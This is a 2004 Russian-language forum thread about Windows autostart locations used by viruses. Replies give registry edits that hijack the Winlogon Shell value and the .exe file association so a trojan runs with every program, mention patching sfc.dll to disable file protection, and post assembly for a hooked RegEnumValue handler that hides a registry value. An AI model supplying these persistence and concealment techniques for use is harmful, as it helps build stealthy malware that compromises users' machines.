|
|
| Посл.отвђт | Сообщенiе |
|
|
Дата: Апр 21, 2004 13:38:28 Разумеется, каждому вирусу хочется, что бы его запустили. А лучше, чтобы после первого запуска и впредь постоянно запускали и запускали. Большинство вирусов любит прописываться в CurrentVersion/Run Это настолько банально, что я вычищаю большинство вирусов вручную редактором реестра, без всяких антивирусов. А какие есть другие места для автозапуска? Не обязательно прямые, но и косвенно ведущие к запуску. Например, один из вирусов (не знаю, как называется) просто связывал себя с расширением .exe. Таким образом, любой запуск exe-файла производился посредством вируса. Есть и другие идею, например, можно переписать в реестре ссылки на протоколы. Например, связать протокол http: со своим классом - и каждый раз когда пользователь будет лезть в инет, будет вызываться разаражённый COM-объект. Какие ещё есть возможности автозапуска? |
|
|
Дата: Апр 21, 2004 23:02:58 |
|
|
Дата: Май 6, 2004 01:39:53 [HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon] стандартное значение "Shell" = "Explorer.exe" изменяется на "Shell" = "Explorer.exe [путь и имя файла троянской программы]" |
|
|
Дата: Май 6, 2004 04:13:42 · Поправил: comrade чтоб запускался с каждой программой: [HKCR\exefile\shell\open\command] @="\"%1\" %*" меняетса на: @="virus.exe \"%1\" %*" virus.exe соответсвенно должен парсить коммандную строку и запускать данное приложенние |
|
|
Дата: Май 6, 2004 04:22:38 Легче регедит пропатчить имхо. |
|
|
Дата: Май 6, 2004 20:36:03 hello_world Не совсем поняла что Вы имели в виду под пропатчить regedit? |
|
|
Дата: Май 6, 2004 20:37:06 hello_world :сложнее. вспомним про SFP в 2К и XP |
|
|
Дата: Май 6, 2004 20:38:43 rst Но твикеры его как-то отключают... |
|
|
Дата: Май 6, 2004 20:41:45 Quantum Поиск по форуму, старый приятель :) Делается падч на sfc.dll и ключик в реестре. Тема называлась SFC - там я объяснял как это сделать :) |
|
|
Дата: Май 6, 2004 20:42:50 Да. Куда интереснее понять как это делает SP. Ведь SP тоже заменяет файлы, но при этом винда не протестует. Где-то я читал об этом, просто времени нет поковыряться... |
|
|
Дата: Май 6, 2004 21:15:14 Да. Куда интереснее понять как это делает SP. Ведь SP тоже заменяет файлы, но при этом винда не протестует. Где-то я читал об этом, просто времени нет поковыряться... Вот это меня и интересует как раз -) Насколько я знаю - там дело в том , что при апдейте создаются каталоги (.cat) файлы. Где находятся подписи всех заменяемых экзешников. Подписано все естественно мелкософтовским ключем. |
|
|
Дата: Май 6, 2004 21:22:21 · Поправил: hello_world Ну ёпрст, задачка же тривиальная. Вот пример обработчика RegEnumValueA/W который тупо ключ скрывает(и все которые после него идут) MyRegEnumValue proc hKey :dword,\ dwIndex :dword,\ lpValueName :dword,\ lpcbValueName :dword,\ lpReserved :dword,\ lpType :dword,\ lpData :dword,\ lpcbData :dword push eax mov eax,ERROR_NO_MORE_ITEMS call @f myval_a db 'some value in run',0 @@: pop edi mov esi,lpValueName push sizeof myval_a pop ecx repz cmpsb jz ___MyRegEnumValueEnd call @f myval_u db 'b',0,'l',0,'a',0,'h',0,0 @@: pop edi mov esi,lpValueName push sizeof myval_u pop ecx repz cmpsb jz ___MyRegEnumValueEnd pop eax ___MyRegEnumValueEnd: ret MyRegEnumValue endp |
|
|
Дата: Май 6, 2004 21:24:56 Подписано все естественно мелкософтовским ключем. А как осуществляется проверка? Если ключи лежат пусть и в разных файлах, то криптостойкость теоретически равна нулю. |
|
|
Дата: Май 6, 2004 21:30:41 volodya А как осуществляется проверка? Если ключи лежат пусть и в разных файлах, то криптостойкость теоретически равна нулю. 5 сек ! Я кое-что уже пишу в тему WFP или нужна помощь |
|
|
Дата: Май 6, 2004 21:45:35 http://msdn.microsoft.com/library/en-us/msi/setup/windows_file_protect ion_on_windows_2000_and_windows_xp.asp http://msdn.microsoft.com/library/en-us/msi/setup/windows_file_protect ion_on_windows_millennium_edition.asp И в добавок по адвертайзингу (это когда инсталлер постоянно пытается восстановить удаленный файл) : http://msdn.microsoft.com/library/default.asp?url=/library/en-us/msi/s etup/advertisement.asp |
|
Powered by miniBB 1.6 © 2001-2002
Время загрузки страницы (сек.): 0.194 |